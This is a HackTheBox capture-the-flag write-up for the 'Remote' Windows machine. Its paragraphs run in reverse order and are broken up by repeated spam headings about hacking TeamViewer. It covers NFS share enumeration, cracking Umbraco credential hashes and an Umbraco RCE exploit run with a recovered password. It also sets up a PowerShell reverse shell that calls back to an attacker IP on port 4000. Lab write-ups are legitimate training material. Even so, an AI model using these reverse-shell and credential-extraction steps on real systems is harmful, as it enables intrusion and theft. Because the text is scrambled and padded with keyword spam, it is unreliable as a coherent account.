#Hack teamviewer 10 install
#Hack teamviewer 10 code
#Hack teamviewer 10 password
#Hack teamviewer 10 download

start netcat to listen to port 4000 at kali.

start SimpleHTTPServer to host the Invoke-PowerShellTcp.ps1 file.

prepare the PowerShell script by appending the execution of the Powershell reverse shell to kali IP address and port 4000:Įcho Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.35 -Port 4000 > Invoke-PowerShellTcp.ps1.

Since it’s a Windows box, I am using Invoke-PowerShellTcp to obtain a PowerShell reverse shell.

#Hack teamviewer 10 download

So I download the script exploit.py and do some quick test: python3 exploit.py -u -p baconandcheese -i -c whoamiĪwesome, the exploit script works as intended and executed the command whoami, revealing that the account is defaultapppool. I use but this time the 2nd link (highlighted) seems to be more straight forward. It requires login credentials which we already have.īoth links provide python exploit scripts to perform RCE.

#Hack teamviewer 10 code

Google is our friend and I find a remote code execution vulnerability. Next is trying to see if Umbraco is exploitable.

#Hack teamviewer 10 password

Using online SHA1 decrypt site I am able to recover the password quickly:Ĭredentials obtained: going back to Umbraco’s member login page and I am able to get in using the credentials retrieved: The highlighted one is the one I have cracked. There are some username and password hashes at the beginning of the. Turns out a simple utility is enough to find some useful information in the. sdf database failed with an error stating the.

#Hack teamviewer 10 install

So I follow some instructions online and spent quite sometime to install SQL Server Management Studio (ended up newer versions no longer support SQL Server Compact), SQL Server Compact Toolbox for Visual Studio. And it is viewable using SQL Server Management Studio or Visual Studio.

Googling the term Umbraco credentials location helped me locate Umbraco.sdf file located under App_data folder.įurther research shows the. Usually, content management systems store user credentials in some files or databases. Looks like a backup of the website with Umbraco CMS. Let’s mount the share and see if we can find something useful: mkdir /mnt/site_backups There is a NFS share /site_backups available for everyone. Also with open port 111, we can use showmount to check available NFS shares: showmount -e 10.10.10.180 Open port 2049 means NFS share may be available. Since there are some other interesting open ports, I will leave website here and explore other ports now. Tried some typical credentials guessing but was not successful. I also use gobuster to perform a directory scan and /umbraco also shows up in the search.

Searching umbraco at Google shows that it is an open source. No other particular information other than a hash tag ‘ umbraco‘. Let’s move on to the website at port 80:īrowsing through the pages we found some blog posts and products for sale. A lot of times you may find useful information about the system, sometimes even credentials. TCP 5985: Microsoft httpd 2.0 Initial ExploitationįTP connection is available and allows anonymous login. Although it is encrypted using AES, the IV and Key are known and is able to be decrypted to recover the password.Įnumeration nmap -p-A -T4 10.10.10.180 TCP 21: Microsoft ftpd Explanation: TeamViewer’s security password can be retrieved from Windows registry.Vulnerability: Credentials exposure of TeamViewer in registry.Privilege Escalation – from defaultapppool The exploit requires credentials which can be obtained from Umbraco database file through NFS backup share Explanation: Installed Umbraco CMS is vulnerable to remote code execution.Vulnerability: Remote Code Execution Vulnerability of CMS Umbraco + Credentials exposure.Exploitation Summary (tap to reveal) Initial Exploitation The goal is to obtain root shell together with both user & root flags. Kali Linux is used to carry out the enumeration, exploitation and privilege escalation. It has an Easy difficulty with a rating of 4.7 out of 10.

Remote is a retired vulnerable Windows machine available from HackTheBox.